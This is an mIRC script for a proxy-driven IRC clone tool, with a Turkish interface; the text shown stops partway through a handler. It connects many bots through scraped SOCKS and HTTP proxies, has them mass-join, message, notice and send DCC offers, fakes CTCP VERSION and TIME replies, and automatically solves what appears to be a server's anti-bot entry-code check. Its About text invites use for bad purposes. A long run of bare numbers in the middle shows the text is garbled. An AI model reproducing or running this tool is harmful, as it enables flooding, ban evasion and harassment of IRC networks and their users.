  hadd -m kod1 satir7 0,0#4########0#  

  hadd -m kod2 satir1 0,0##4######0##
  hadd -m kod2 satir2 0,0#4##0####4##0#
  hadd -m kod2 satir3 0,0#######4##0#
  hadd -m kod2 satir4 0,0######4##0##
  hadd -m kod2 satir5 0,0#####4##0###
  hadd -m kod2 satir6 0,0###4##0#####
  hadd -m kod2 satir7 0,0#4########0#

  hadd -m kod3 satir1 0,0#4#######0##
  hadd -m kod3 satir2 0,0#######4##0#
  hadd -m kod3 satir3 0,0#######4##0#
  hadd -m kod3 satir4 0,0#4#######0##
  hadd -m kod3 satir5 0,0#######4##0#
  hadd -m kod3 satir6 0,0#######4##0#
  hadd -m kod3 satir7 0,0#4#######0##

  hadd -m kod4 satir1 0,0#4##0#######
  hadd -m kod4 satir2 0,0#4##0#######
  hadd -m kod4 satir3 0,0#4##0##4##0###
  hadd -m kod4 satir4 0,0#4##0##4##0###
  hadd -m kod4 satir5 0,0#4##0##4##0###
  hadd -m kod4 satir6 0,0#4########0#
  hadd -m kod4 satir7 0,0#0####4##0###

  hadd -m kod5 satir1 0,0#4########0#
  hadd -m kod5 satir2 0,0#4#0########
  hadd -m kod5 satir3 0,0#4#0########
  hadd -m kod5 satir4 0,0#4#######0##
  hadd -m kod5 satir5 0,0########4#0#
  hadd -m kod5 satir6 0,0########4#0#
  hadd -m kod5 satir7 0,0#4#######0##

  hadd -m kod6 satir1 0,0##4#######0#
  hadd -m kod6 satir2 0,0#4##0#######
  hadd -m kod6 satir3 0,0#4##0#######
  hadd -m kod6 satir4 0,0#4#######0##
  hadd -m kod6 satir5 0,0#4##0####4##0#
  hadd -m kod6 satir6 0,0#4##0####4##0#
  hadd -m kod6 satir7 0,0##4######0##

  hadd -m kod7 satir1 0,0#4########0#
  hadd -m kod7 satir2 0,0#######4##0#
  hadd -m kod7 satir3 0,0######4##0##
  hadd -m kod7 satir4 0,0#####4##0###
  hadd -m kod7 satir5 0,0####4##0####
  hadd -m kod7 satir6 0,0###4##0#####
  hadd -m kod7 satir7 0,0##4##0######

  hadd -m kod8 satir1 0,0##4######0##
  hadd -m kod8 satir2 0,0#4##0####4##0#
  hadd -m kod8 satir3 0,0#4##0####4##0#
  hadd -m kod8 satir4 0,0##4#4#####0##
  hadd -m kod8 satir5 0,0#4##0####4##0#
  hadd -m kod8 satir6 0,0#4##0####4##0#
  hadd -m kod8 satir7 0,0##4######0##

  hadd -m kod9 satir1 0,0##4######0##
  hadd -m kod9 satir2 0,0#4##0####4##0#
  hadd -m kod9 satir3 0,0#4##0####4##0#
  hadd -m kod9 satir4 0,0##4#######0#
  hadd -m kod9 satir5 0,0#######4##0#
  hadd -m kod9 satir6 0,0#######4##0#
  hadd -m kod9 satir7 0,0##4######0##

  var %giriskod1 $kontrol(1)
  var %giriskod2 $kontrol(2)
  var %giriskod3 $kontrol(3)

  hfree kod
  hfree kod0
  hfree kod1
  hfree kod2
  hfree kod3
  hfree kod4
  hfree kod5
  hfree kod6
  hfree kod7
  hfree kod8
  hfree kod9
  unset %kodsatir

  if ( %giriskod1 == $null ) || ( %giriskod2 == $null ) || ( %giriskod3 == $null ) { echo -a Giriş Kodu Bulunamadı! | halt }
  if $sock($1) { SockWrite -nt $1 giris %giriskod1 $+ %giriskod2 $+ %giriskod3 }
  if $1 == $me { giris %giriskod1 $+ %giriskod2 $+ %giriskod3 }
}

alias kontrol {
  if ( $1 == $null ) { echo -a eksik | halt }
  if ( $1 = 1 ) {
    var %aralikba 1
    var %aralikbi 30
  }
  if ( $1 = 2 ) {
    var %aralikba 15
    var %aralikbi 30
  }
  if ( $1 = 3 ) {
    var %aralikba 35
    var %aralikbi 50
  }

  var %ii -1
  var %tt 9
  while %ii < %tt {
    inc %ii

    ;echo -a Kontrol Edilen Değer %ii

    var %i 0
    var %t 7

    var %ttoplam 0
    while %i < %t {
      inc %i
      ;echo -a $mid($hget(kod, satir $+ %i), %aralikba, %aralikbi)
      if ( $hget(kod $+ %ii, satir $+ %i) != $null ) {
        if ( * $+ $hget(kod $+ %ii, satir $+ %i) $+ * iswm $mid($hget(kod, satir $+ %i),%aralikba,%aralikbi) ) {
          inc %ttoplam 2
        }
      }
    }
    if ( %ttoplam == 14 ) { return %ii }
  }
}

100

101

102

103

104

105

106

107

108

109

110

111

112

113

114

115

116

117

118

119

120

121

122

123

124

125

126

127

128

129

130

131

132

133

134

135

136

137

138

139

140

141

142

143

144

145

146

147

148

149

150

151

152

153

154

155

156

157

158

159

160

161

162

163

164

165

166

167

168

169

170

171

172

173

174

175

176

177

178

179

180

181

182

183

184

185

186

187

188

189

190

191

192

193

194

195

196

197

198

199

200

201

202

203

204

205

206

207

208

209

210

211

212

213

214

215

216

217

218

219

220

221

222

223

224

225

226

227

228

229

230

231

232

233

234

235

236

237

238

239

240

241

242

243

244

245

246

247

248

249

250

251

252

253

254

255

256

257

258

259

260

261

262

263

264

265

266

267

268

269

270

271

272

273

274

275

276

277

278

279

280

281

282

283

284

285

286

287

288

289

290

291

292

293

294

295

296

297

298

299

300

301

302

303

304

305

306

307

308

309

310

311

312

313

314

315

316

317

318

319

320

321

322

323

324

325

326

327

328

329

330

331

332

333

334

335

336

337

338

339

340

341

342

343

344

345

346

347

348

349

350

351

352

353

354

355

356

357

358

359

360

361

362

363

364

365

366

367

368

369

370

371

372

373

374

375

376

377

378

379

380

381

382

383

384

385

386

387

388

389

390

391

392

393

394

395

396

397

398

399

400

401

402

403

404

405

406

407

408

409

410

411

412

413

414

415

416

417

418

419

420

421

422

423

424

425

426

427

428

429

430

431

432

433

434

435

436

437

438

439

440

441

442

443

444

445

446

447

448

449

450

451

452

453

454

455

456

457

458

459

460

461

462

463

464

465

466

467

468

469

470

471

472

473

474

475

476

477

478

479

480

481

482

483

484

485

486

487

488

489

490

491

492

493

494

495

496

497

498

499

500

501

502

503

504

505

506

507

508

509

510

511

512

513

514

515

516

517

518

519

520

521

522

523

524

525

526

527

528

529

530

531

532

533

534

535

536

537

538

539

540

541

542

543

544

545

546

547

548

549

550

551

552

553

554

555

556

557

558

559

560

561

562

563

564

565

566

567

568

569

570

571

572

573

574

575

576

577

578

579

580

581

582

583

584

585

586

587

588

589

590

591

592

593

594

595

596

597

598

599

600

601

602

603

604

605

606

607

608

609

610

611

612

613

614

615

616

617

618

619

620

621

622

623

624

625

626

627

628

629

630

631

632

633

634

635

636

637

638

639

640

641

642

643

644

645

646

647

648

649

650

651

652

653

654

655

656

657

658

659

660

661

662

663

664

665

666

667

668

669

670

671

672

673

674

675

676

677

678

679

680

681

682

683

684

685

686

687

688

689

690

691

692

693

694

695

696

697

698

699

700

701

702

703

704

705

706

707

708

709

710

711

712

713

714

715

716

717

718

719

720

721

722

723

724

725

726

727

728

729

730

731

732

733

734

735

736

737

738

739

740

741

742

743

744

745

Alias Clone {

If ($Dialog(Clone)) { Dialog -v Clone }

Else { Dialog -md Clone Clone }

}

dialog Clone {

title "Clone"

size -1 -1 577 512

option pixels

tab "Ayarlar", 75, 8 8 559 463

tab "Botlar/Islemler", 76

tab "Proxy Listesi", 97

tab "Hakkinda", 90

box "Ayarlar", 1, 16 40 540 420, tab 75

edit "irc.sunucu.com", 2, 66 51 232 20, tab 75 autohs

text "Sunucu", 3, 24 56 34 16, tab 75

edit "6667", 4, 300 51 48 20, tab 75 limit 0

text "Protokol", 5, 23 100 42 16, tab 75

combo 6, 66 96 80 68, tab 75 size drop

box "Connect", 7, 24 281 332 171, tab 75

box "Nick, ident ve realname ayarlari", 8, 25 121 332 160, tab 75

text "Baglanti Sayisi:", 9, 149 100 74 16, tab 75

edit "", 10, 223 96 44 20, tab 75 limit 0

radio "Rastgele", 11, 32 136 64 20, tab 75

radio "Liste:", 12, 32 160 54 20, tab 75

radio "Diger:", 13, 32 184 54 20, tab 75

edit "", 14, 88 160 196 20, tab 75 disable autohs

edit "", 15, 88 184 196 20, tab 75 disable limit 0

button "&Yukle", 16, 288 160 58 20, tab 75 disable

text "Mode:", 17, 127 140 31 16, tab 75

edit "+iwTx", 18, 160 137 70 20, tab 75

edit "", 19, 32 312 316 132, tab 75 autohs autovs multi return

text "IRC Raw Komutlari (Baglandiginda islenecek):", 20, 32 296 225 16, tab 75

box "Proxy/Socks Listesi", 26, 360 56 188 396, tab 75

edit "mobil", 85, 88 208 260 21, tab 75 autohs limit 0

text "Host:", 27, 368 80 26 16, tab 75

text "Port:", 28, 368 104 26 16, tab 75

edit "", 29, 400 78 140 20, tab 75 limit 0

edit "", 30, 400 102 140 20, tab 75 limit 0

button "&Ekle", 31, 368 128 82 20, tab 75

button "&Sil", 32, 456 128 82 20, tab 75

button "&Dosya Yukle", 33, 368 152 82 20, tab 75

list 34, 368 176 172 238, tab 75 size

button "&Listeyi Sil", 35, 368 418 170 24, tab 75

check "CTCP Tekrari", 81, 273 98 84 20, tab 75

text "Real Name:", 82, 32 211 56 16, tab 75

button "&Clipboard", 83, 456 152 82 20, tab 75

box "Botlara islem yaptirmak icin bu alani kullaniniz.", 36, 176 39 380 420, tab 76

box "Nick Listesi", 37, 16 40 156 356, tab 76

button "&Gir", 41, 184 62 67 20, tab 76 disable

edit "", 42, 256 62 84 21, tab 76 autohs

button "&Cik", 43, 184 86 67 20, tab 76 disable

edit "", 44, 256 86 84 21, tab 76 autohs

edit "", 45, 344 86 204 21, tab 76 autohs

button "&Gir/Cik", 46, 184 110 67 20, tab 76 disable

edit "", 47, 256 110 84 21, tab 76 autohs

edit "", 48, 344 110 204 21, tab 76 autohs

button "&Mesaj", 49, 184 142 67 20, tab 76 disable

edit "", 50, 256 142 84 21, tab 76 autohs

edit "", 51, 344 142 204 21, tab 76 autohs

button "&Notice", 52, 184 166 67 20, tab 76 disable

edit "", 53, 256 166 84 21, tab 76 autohs

edit "", 54, 344 166 204 21, tab 76 autohs

button "&Describe", 55, 184 190 67 20, tab 76 disable

edit "", 56, 256 190 84 21, tab 76 autohs

edit "", 57, 344 190 204 21, tab 76 autohs

button "&CTCP", 58, 184 222 67 20, tab 76 disable

edit "", 59, 256 222 84 21, tab 76 autohs

combo 60, 344 222 204 76, tab 76 edit size drop

button "&DCC Send", 61, 184 246 67 20, tab 76 disable

edit "", 62, 256 246 84 21, tab 76 autohs

edit "", 63, 344 246 204 21, tab 76 autohs

button "&DCC Chat", 64, 184 270 67 20, tab 76 disable

edit "", 65, 256 270 84 21, tab 76 autohs

button "&Nick", 66, 184 294 67 20, tab 76

radio "Liste:", 68, 256 320 54 20, tab 76

radio "Diger:", 69, 256 344 54 20, tab 76

radio "Rastgele", 67, 256 296 66 20, tab 76

button "&Yukle", 72, 480 320 67 20, tab 76 disable

edit "", 70, 312 320 164 21, tab 76 disable autohs

edit "", 74, 256 374 292 77, tab 76 autohs autovs multi return

button "&Raw", 73, 184 374 67 20, tab 76 disable

edit "", 71, 312 344 164 21, tab 76 disable limit 0

list 38, 24 56 140 308, tab 76 size extsel

text "Icraat :d", 39, 24 370 46 16, tab 76

combo 40, 72 368 92 60, tab 76 size drop

box "Istatistikler", 21, 16 400 156 60, tab 76

text "Total Connections:", 23, 24 436 92 16, tab 76

text "Connected Clones:", 22, 24 420 92 16, tab 76

text "0", 24, 120 420 42 16, tab 76

text "0", 25, 120 436 42 16, tab 76

edit "", 98, 24 56 260 21, tab 97 autohs

button "&URL Ekle", 99, 288 56 67 20, tab 97

list 100, 24 80 332 340, tab 97 hsbar size

box "URL Listesi", 101, 16 40 348 420, tab 97

box "Proxies/Socks", 102, 368 40 188 316, tab 97

list 103, 376 56 172 244, tab 97 size

button "&Ver", 104, 465 306 84 20, tab 97

text "Completed:", 105, 368 392 58 16, tab 97

text "0", 106, 432 408 122 16, tab 97

button "&Listeye Bak", 107, 368 432 187 25, tab 97

button "&Proxy/Socks Listesini Goruntule", 109, 376 328 173 20, tab 97

text "Total Sites:", 110, 368 408 58 16, tab 97

text "0", 111, 432 392 122 16, tab 97

text "Socks/Proxies Taken:", 112, 368 368 106 16, tab 97

text "0", 113, 480 368 74 16, tab 97

button "&Sil", 108, 376 306 84 20, tab 97

button "&Secileni Sil", 114, 24 432 163 20, tab 97

button "&Hepsini Sil", 115, 192 432 163 20, tab 97

button "&Bagla", 77, 8 480 83 25

button "&Baglanti Kes", 78, 96 480 83 25

button "&Cikis", 79, 490 480 75 25

button "&Baglanan IP/Portlar", 80, 368 480 115 25

button "&Socketleri Kapat", 84, 184 480 87 25

edit "sifre yoksa bos birak", 86, 66 74 283 20, tab 75 autohs limit 0

edit "Mobil", 88, 272 137 75 20, tab 75 limit 9

text "Identd:", 87, 233 140 38 16, tab 75

text "Sifre", 89, 25 76 34 16, tab 75

link "Aytac", 91, 391 9 90 17,

link "", 94, 487 9 79 17,

edit "0", 96, 192 260 17 20, tab 75

text "Baglanirken agresif baglanmamak icin bu bolumu 1 yapin. Eger sunucuda koruma yoksa 0 yapiniz.", 116, 32 230 319 29, tab 75 center

text "Baglanti gecikmesi", 95, 104 262 88 17, tab 75

text "saniye.", 117, 211 262 39 17, tab 75

box "/CLONE", 118, 18 34 541 102, tab 90

text "Arkadaslar kullanimi basit olan proxy clone addonudur. Kotu amaclariniza alet edebilirsiniz. Cunku gunumuzde artik bu addonun onune gecilebilir. Dilediginiz gibi kullanabilirsiniz. Yapmaniz gerekenler basittir. Hersey goz onunde zaten.", 119, 64 50 440 42, tab 90 center

text "Yinede kullanmayi beceremeyenler bana ulasabilirler. skype: coder.08 ", 120, 64 95 440 16, tab 90 center

text "Aytac | | ", 121, 64 114 440 16, tab 90 center

}

On *:Dialog:Clone:Init:*: {

Did -a $DName 6 Normal

Did -a $DName 6 Proxy

Did -a $DName 6 Sock

Did -c $DName 6 2

Did -a $DName 40 Hepsi

Did -a $DName 40 Secilen(ler)

Did -c $DName 40 1

Did -a $DName 60 PING

Did -a $DName 60 TIME

Did -a $DName 60 VERSION

Did -c $DName 11

Did -c $DName 67

}

On *:Dialog:Clone:Edit:*: {

If ($Did == 42) {

If ($Left($Did(42),1) == $Chr(35)) && ($Count($Did(42),$Chr(32)) <= 1) { Did -e $DName 41 }

Else { Did -b $DName 41 }

}

If ($Did == 44) {

If ($Left($Did(44),1) == $Chr(35)) && ($Count($Did(44),$Chr(32)) == 0) { Did -e $DName 43 }

Else { Did -b $DName 43 }

}

If ($Did == 47) {

If ($Left($Did(47),1) == $Chr(35)) && ($Count($Did(47),$Chr(32)) == 0) { Did -e $DName 46 }

Else { Did -b $DName 46 }

}

If ($Did == 50) {

If ($Count($Did(50),$Chr(32)) == 0) && ($Len($Did(50)) >= 1) && ($Did(51)) { Did -e $DName 49 }

Else { Did -b $DName 49 }

}

If ($Did == 51) {

If ($Count($Did(50),$Chr(32)) == 0) && ($Len($Did(50)) >= 1) && ($Did(51)) { Did -e $DName 49 }

Else { Did -b $DName 49 }

}

If ($Did == 53) {

If ($Count($Did(53),$Chr(32)) == 0) && ($Len($Did(53)) >= 1) && ($Did(54)) { Did -e $DName 52 }

Else { Did -b $DName 52 }

}

If ($Did == 54) {

If ($Count($Did(53),$Chr(32)) == 0) && ($Len($Did(50)) >= 1) && ($Did(54)) { Did -e $DName 52 }

Else { Did -b $DName 52 }

}

If ($Did == 56) {

If ($Count($Did(56),$Chr(32)) == 0) && ($Len($Did(56)) >= 1) && ($Did(57)) { Did -e $DName 55 }

Else { Did -b $DName 55 }

}

If ($Did == 57) {

If ($Count($Did(56),$Chr(32)) == 0) && ($Len($Did(56)) >= 1) && ($Did(57)) { Did -e $DName 55 }

Else { Did -b $DName 55 }

}

If ($Did == 59) {

If ($Count($Did(59),$Chr(32)) == 0) && ($Len($Did(59)) >= 1) && ($Did(60)) { Did -e $DName 58 }

Else { Did -b $DName 58 }

}

If ($Did == 60) {

If ($Count($Did(59),$Chr(32)) == 0) && ($Len($Did(59)) >= 1) && ($Did(60)) { Did -e $DName 58 }

Else { Did -b $DName 58 }

}

If ($Did == 62) {

If ($Count($Did(62),$Chr(32)) == 0) && ($Len($Did(62)) >= 1) && ($Left($Did(62),1) != $Chr(35)) && ($Did(63)) { Did -e $DName 61 }

Else { Did -b $DName 61 }

}

If ($Did == 63) {

If ($Count($Did(62),$Chr(32)) == 0) && ($Len($Did(62)) >= 1) && ($Left($Did(62),1) != $Chr(35)) && ($Did(63)) { Did -e $DName 61 }

Else { Did -b $DName 61 }

}

If ($Did == 65) {

If ($Count($Did(65),$Chr(32)) == 0) && ($Len($Did(65)) >= 1) && ($Left($Did(65),1) != $Chr(35)) { Did -e $DName 64 }

Else { Did -b $DName 64 }

}

If ($Did == 74) {

If ($Len($Did(74)) >= 1) { Did -e $DName 73 }

Else { Did -b $DName 73 }

}

If ($Did == 70) {

If ($Did(70)) { Did -e $DName 66 }

Else { Did -b $DName 66 }

}

If ($Did == 71) {

If ($Did(71)) { Did -e $DName 66 }

Else { Did -b $DName 66 }

}

Alias Clone.Error { Var %E = $Input($1-,o,Clone) }

On *:Dialog:Clone:SClick:*: {

If ($Did == 31) {

If (*.*.* iswm $Did(29)) && ($Did(30) <= 65535) && ($Did(30) >= 1) { Did -a $DName 34 $Did(29) $Did(30) }

Else { Clone.Error Invalid Sock/Proxy or Port }

}

If ($Did == 32) && ($Did(34).Sel) { Did -d $DName 34 $Did(34).Sel }

If ($Did == 33) {

Var %F = $SFile($mIRCDir,Clone,Import)

If (%F) {

Var %I = 1

While ($Read(%F,%I)) {

Var %F1 = $Read(%F,%I)

If ($Gettok(%F1,0,58) == 2) { Var %F1 = $Replace(%F1,$Chr(58),$Chr(32)) }

If ($Gettok(%F1,0,32) != 2) || ($Abs($Gettok(%F1,2,32)) == 0) { Clone.Error Invalid Sock/Proxy file | Return }

Else { Did -a $DName 34 %F1 }

Inc %I

}

If ($Did == 83) {

Var %I = 1

While ($CB(%I)) {

Var %F1 = $CB(%I)

If ($Gettok(%F1,0,58) == 2) { Var %F1 = $Replace(%F1,$Chr(58),$Chr(32)) }

If ($Gettok(%F1,0,32) != 2) || ($Abs($Gettok(%F1,2,32)) == 0) { Clone.Error Invalid Socks/Proxys in Clipboard | Return }

Else { Did -a $DName 34 %F1 }

Inc %I

}

If ($Did == 35) { Did -r $DName 34 }

If ($Did == 11) { Did -b $DName 14 | Did -b $DName 15 | Did -b $DName 16 }

If ($Did == 12) { Did -e $DName 14 | Did -b $DName 15 | Did -e $DName 16 }

If ($Did == 13) { Did -b $DName 14 | Did -e $DName 15 | Did -b $DName 16 }

If ($Did == 67) { Did -b $DName 70 | Did -b $DName 71 | Did -b $DName 72 | Did -e $DName 66 }

If ($Did == 68) {

Did -e $DName 70 | Did -b $DName 71 | Did -e $DName 72

If ($Did(70)) { Did -e $DName 66 }

Else { Did -b $DName 66 }

}

If ($Did == 69) {

Did -b $DName 70 | Did -e $DName 71 | Did -b $DName 72

If ($Did(71)) { Did -e $DName 66 }

Else { Did -b $DName 66 }

}

If ($Did == 16) {

Var %F = $SFile($mIRCDir,Clone,Import)

If (%F) { Did -ra $DName 14 %F }

}

If ($Did == 72) {

Var %F = $SFile($mIRCDir,Clone,Import)

If (%F) { Did -ra $DName 70 %F | Did -e $DName 66 }

}

If ($Did == 60) {

If ($Count($Did(59),$Chr(32)) == 0) && ($Len($Did(59)) >= 1) && ($Did(60)) { Did -e $DName 58 }

Else { Did -b $DName 58 }

}

if ($did == 91 ) { run mailto:ircdhelp@gmail.com }

if ($did == 94 ) { run http://www.ircalem.com }

If ($Did == 41) { Clone.Do $Did(40) JOIN $Did(42) }

If ($Did == 43) { Clone.Do $Did(40) PART $Did(44) : $+ $Did(45) }

If ($Did == 46) { Clone.Do $Did(40) JOINPART $Did(47) : $+ $Did(48) }

If ($Did == 49) { Clone.Do $Did(40) PRIVMSG $Did(50) : $+ $Did(51) }

If ($Did == 52) { Clone.Do $Did(40) NOTICE $Did(53) : $+ $Did(54) }

If ($Did == 55) { Clone.Do $Did(40) PRIVMSG $Did(56) :ACTION $Did(57) $+ }

If ($Did == 58) { Clone.Do $Did(40) PRIVMSG $Did(59) : $+ $Did(60) $+ }

If ($Did == 61) { Clone.Do $Did(40) PRIVMSG $Did(62) :DCC SEND $Did(63) $Rand(0,4294967294) 1024 $Rand(10000,500000) $+ }

If ($Did == 64) { Clone.Do $Did(40) PRIVMSG $Did(65) :DCC CHAT chat $Rand(0,4294967294) 1024 }

If ($Did == 66) { Clone.Do $Did(40) NICK }

If ($Did == 73) {

Var %I = 1

While ($Did(74,%I)) { Clone.Do $Did(40) RAW $Did(74,%I) | Inc %I }

}

If ($Did == 77) {

If (!$Did(34,1)) && (($Did(6) == Proxy) || ($Did(6) == Sock)) { Clone.Error Enter $Did(6) to the $Did(6) list }

ElseIf (*.*.* !iswm $Did(2)) { Clone.Error Enter a valid Server }

ElseIf ($Did(4) <= 0) && ($Did(4) >= 65535) { Clone.Error Enter a valid Port }

ElseIf (!$Did(10)) || ($Did(10) !isnum) { Clone.Error Enter the number clones to connect }

ElseIf ($Did(12).State == 1) && ($Exists($Did(14)) == $False) { Clone.Error Nicklist doesnt Exist }

ElseIf ($Did(13).State == 1) && (!$Did(15)) { Clone.Error Enter a Nickname }

ElseIf ($Did(6) == Sock) && ($Remove($Did(2),.) !isnum) { .Enable #Clone.DNS | .DNS $Did(2) }

Else { .TimerClone.Go $Did(10) $Did(Clone,96) Clone.Go }

}

If ($Did == 78) { Did -r $DName 38 | Did -ra $DName 24 0 | Did -ra $DName 25 0 | SockClose Clone.* | Unset %Clone.* }

If ($Did == 79) { SockClose Clone.* | Dialog -x $DName }

If ($Did == 80) { Clone.IPs }

If ($Did == 84) {

Var %I = 1

While ($Sock(Clone.*,%I)) {

If (!$Sock(Clone.*,%I).Mark) { SockClose $Sock(Clone.*,%I) }

Inc %I

}

Did -ra Clone 25 $Sock(Clone.*,0)

}

If ($Did == 99) {

Did -a $DName 100 $Did(98)

Did -ra $DName 106 $Calc($Did(106) + 1)

}

If ($Did == 104) {

Var %F = $Input(Enter Filename:,ego,Clone)

If (%F) {

Var %I = 1

While ($Did(103,%I)) { Write %F $Did(103,%I) | Inc %I }

}

If ($Did == 107) {

Did -ra $DName 111 0

Var %I = 1

While ($Did(100,%I)) {

SockQueue CloneGet. [ $+ [ %I ] ] $Gettok($Remove($Did(100,%I),http://,www.),1,47) 80

Set %Clone.Get.URL. [ $+ [ %I ] ] $Gettok($Remove($Did(100,%I),http://,www.),1,47)

Set %Clone.Get.Ext. [ $+ [ %I ] ] $Iif($Gettok($Remove($Did(100,%I),http://,www.),2-,47),$Chr(47) $+ $Gettok($Remove($Did(100,%I),http://,www.),2-,47),$Chr(47))

Inc %I

}

If ($Did == 108) { Did -r $DName 103 }

If ($Did == 109) {

Did -r $DName 34

Var %I = 1

While ($Did(103,%I)) { Did -a $DName 34 $Replace($Did(103,%I),$Chr(58),$Chr(32)) | Inc %I }

}

If ($Did == 114) && ($Did(100).Sel) { Did -d $DName 100 $Did(100).Sel }

If ($Did == 115) { Did -r $DName 100 }

}

On *:SockOpen:CloneGet.*: {

SockWrite -n $SockName GET %Clone.Get.EXT. [ $+ [ $Gettok($SockName,2,46) ] ] HTTP/1.0

SockWrite -n $SockName Accept: */*

SockWrite -n $SockName Host: www. $+ %Clone.Get.URL. [ $+ [ $Gettok($SockName,2,46) ] ]

SockWrite -n $SockName Connection: Keep-Alive

SockWrite -n $SockName

Unset %Clone.Get.EXT. [ $+ [ $Gettok($SockName,2,46) ] ]

Unset %Clone.Get.URL. [ $+ [ $Gettok($SockName,2,46) ] ]

}

On *:SockRead:CloneGet.*: {

SockRead %R

If $WildTok(%R,*.*.*.*:*,1,32) && ($Remove($WildTok(%R,*.*.*.*:*,1,32),$Chr(46),$Chr(58)) isnum) {

Did -a Clone 103 $WildTok(%R,*.*.*.*:*,1,32)

Did -ra Clone 113 $Calc($Did(Clone,113) + 1)

}

Unset %R

}

Alias SockQueue {

If ($Sock(CloneGet.*,0) <= 6) { SockOpen $1- }

Else { Set %Clone.Queue. [ $+ [ $Rand(1,9999999) ] ] $1- }

}

On *:SockClose:CloneGet.* {

If ($Var(%Clone.Queue.*,1)) {

SockOpen $Var(%Clone.Queue.*,1).Value

Unset $Var(%Clone.Queue.*,1)

}

Did -ra Clone 111 $Calc($Did(Clone,111) + 1)

}

#Clone.DNS off

On *:DNS: {

If ($RAddress) { Did -ra Clone 2 $RAddress | .TimerClone.Go $Did(Clone,10) 0 Clone.Go }

Else { Clone.Error Unable to resolve DNS of $Did(Clone,10) }

.Disable #Clone.DNS

Halt

}

#Clone.DNS End

Alias Clone.Do {

If ($1 == Hepsi) {

Var %I = 1

While ($Sock(Clone.*,%I)) {

If ($2 == JOINPART) { SockWrite -nt $Sock(Clone.*,%I) JOIN $3 | SockWrite -nt $Sock(Clone.*,%I) PRIVMSG $3 : $+ $rand(a,z) $+ $rand(a,z) $+ $rand(a,z) $+ $rand(a,z) $+ $rand(a,z) $rand(a,z) $+ $rand(a,z) $+ $rand(a,z) $+ $rand(a,z) $+ $rand(a,z) $rand(a,z) $+ $rand(a,z) $+ $rand(a,z) $+ $rand(a,z) $+ $rand(a,z) $4- | SockWrite -nt $Sock(Clone.*,%I) PART $3- }

ElseIf ($2 == RAW) { SockWrite -nt $Sock(Clone.*,%I) $Replace($3-,^Nick^,$Clone.Nick($Sock(Clone.*,%I))) }

; Elseif ($2 == privmsg) { sockwrite -nt $Sock(Clone.*,%I) privmsg $3 $+( ,$rand(0,99), ) $4- $+( ,$rand(0,99), ) }

ElseIf ($2 == NICK) {

If ($Did(Clone,67).State == 1) { SockWrite -nt $Sock(Clone.*,%I) NICK $Clone.RandNick }

If ($Did(Clone,68).State == 1) { SockWrite -nt $Sock(Clone.*,%I) NICK $Gettok($Read($Did(Clone,70)),1,32) }

If ($Did(Clone,69).State == 1) { SockWrite -nt $Sock(Clone.*,%I) NICK $Did(Clone,71) $+ $Clone.RandNick(2) }

}

Else { SockWrite -nt $Sock(Clone.*,%I) $2- }

Inc %I

}

If ($1 == Secilen(ler)) {

Var %I = 1

While ($Did(Clone,38,%I)) {

If ($Did(Clone,38,%I).State == 1) {

Var %J = 1

While ($Sock(Clone.*,%J)) {

If ($Sock(Clone.*,%J).Mark == $Did(Clone,38,%I)) {

If ($2 == JOINPART) { SockWrite -nt $Sock(Clone.*,%J) JOIN $3 | SockWrite -nt $Sock(Clone.*,%J) PART $3- }

ElseIf ($2 == RAW) { SockWrite -nt $Sock(Clone.*,%J) $Replace($3-,^Nick^,$Clone.Nick($Sock(Clone.*,%J))) }

ElseIf ($2 == NICK) {

If ($Did(Clone,67).State == 1) { SockWrite -nt $Sock(Clone.*,%J) NICK $Clone.RandNick }

If ($Did(Clone,68).State == 1) { SockWrite -nt $Sock(Clone.*,%J) NICK $Gettok($Read($Did(Clone,70)),1,32) }

If ($Did(Clone,69).State == 1) { SockWrite -nt $Sock(Clone.*,%J) NICK $Did(Clone,71) }

}

Else { SockWrite -nt $Sock(Clone.*,%J) $2- }

}

Inc %J

}

Inc %I

}

Alias Clone.Conn { If ($Did(Clone,38,1)) { Return $Did(Clone,38).Lines } }

On *:SockOpen:Clone.*: {

If ($SockErr) { SockClose $SockName | Did -ra Clone 25 $Sock(Clone.*,0) | Return }

If (Clone.Sock.* iswm $SockName) { BSet &Clone 1 5 1 0 | SockWrite $SockName &Clone }

If (Clone.Proxy.* iswm $SockName) {

SockWrite $SockName CONNECT $+($Did(Clone,2),:,$Did(Clone,4)) HTTP/1.1

SockWrite $SockName $CRLF $+ $CRLF $+ $CRLF

Clone.Conn.User $SockName

}

If (Clone.Normal.* iswm $Sockname) { Clone.Conn.User $SockName }

Did -ra Clone 25 $Sock(Clone.*,0)

}

On *:SockRead:Clone.*: {

If ($SockErr) { SockClose $SockName | Did -ra Clone 25 $Sock(Clone.*,0) | Return }

If (Clone.Sock.* iswm $SockName) && (!$Sock($SockName).Mark) {

SockRead &Read

If ($BVar(&Read,1,2) == 5 0) && ($BVar(&Read,3) != 0) {

Var %Port = $Gettok($LongIP($Did(Clone,4)),3,46) $Gettok($LongIP($Did(Clone,4)),4,46)

Var %Serv = $Replace($Did(Clone,2),$Chr(46),$Chr(32))

BSet &Clone.Send 1 5 1 0 1 %Serv %Port

SockWrite $SockName &Clone.Send

}

If ($BVar(&Read,1,3) == 5 0 0) { SockMark $SockName 1 | Clone.Conn.User $SockName }

}

SockRead %Clone.Read

If (%Clone.Read) { ;Echo %Clone.Read }

Tokenize 32 %Clone.Read

Unset %Clone.Read

If (*<HTML>* iswm $1-) && (!$Sock($SockName).Mark) {

SockClose $SockName

}

;echo -s : $sockname >> $1-

If ($1 == PING) { SockWrite -nt $SockName PONG : $+ $Remove($2,:) }

If ($2 == PRIVMSG || $2 == NOTICE) && ($Did(Clone,81).State == 1) {

If ($4 == :PING) { SockWrite -nt $SockName NOTICE $Remove($Gettok($1,1,33),:) :PING $5 }

If ($4 == :TIME) { SockWrite -nt $SockName NOTICE $Remove($Gettok($1,1,33),:) :TIME $ASCTime($Calc($Rand($Calc($CTime - 10000),$Calc($CTime + 10000)))) $+ }

;If ($4 == :VERSION) { SockWrite -nt $SockName NOTICE $Remove($Gettok($1,1,33),:) VERSION mIRC v6.35 Khaled Mardam-Bey }

if $4 == :VERSION {

SockWrite -nt $sockname NOTICE $botfnick($1) VERSION mIRC v6.35 Khaled Mardam-Bey

}

If ($2 == 001) {

Var %I = 1

While ($Did(Clone,19,%I)) { SockWrite -nt $SockName $Replace($Did(Clone,19,%I),^Nick^,$3) | Inc %I }

If ($3) { Did -a Clone 38 $3 }

Did -ra Clone 24 $Iif($Clone.Conn,$Clone.Conn,0)

SockWrite -nt $SockName Mode $3 $Did(Clone,18)

SockMark $SockName $3

}

if ($2 == 006) {

giriskod $sockname $right($4-,-1)

}

If ($2 == 433) {

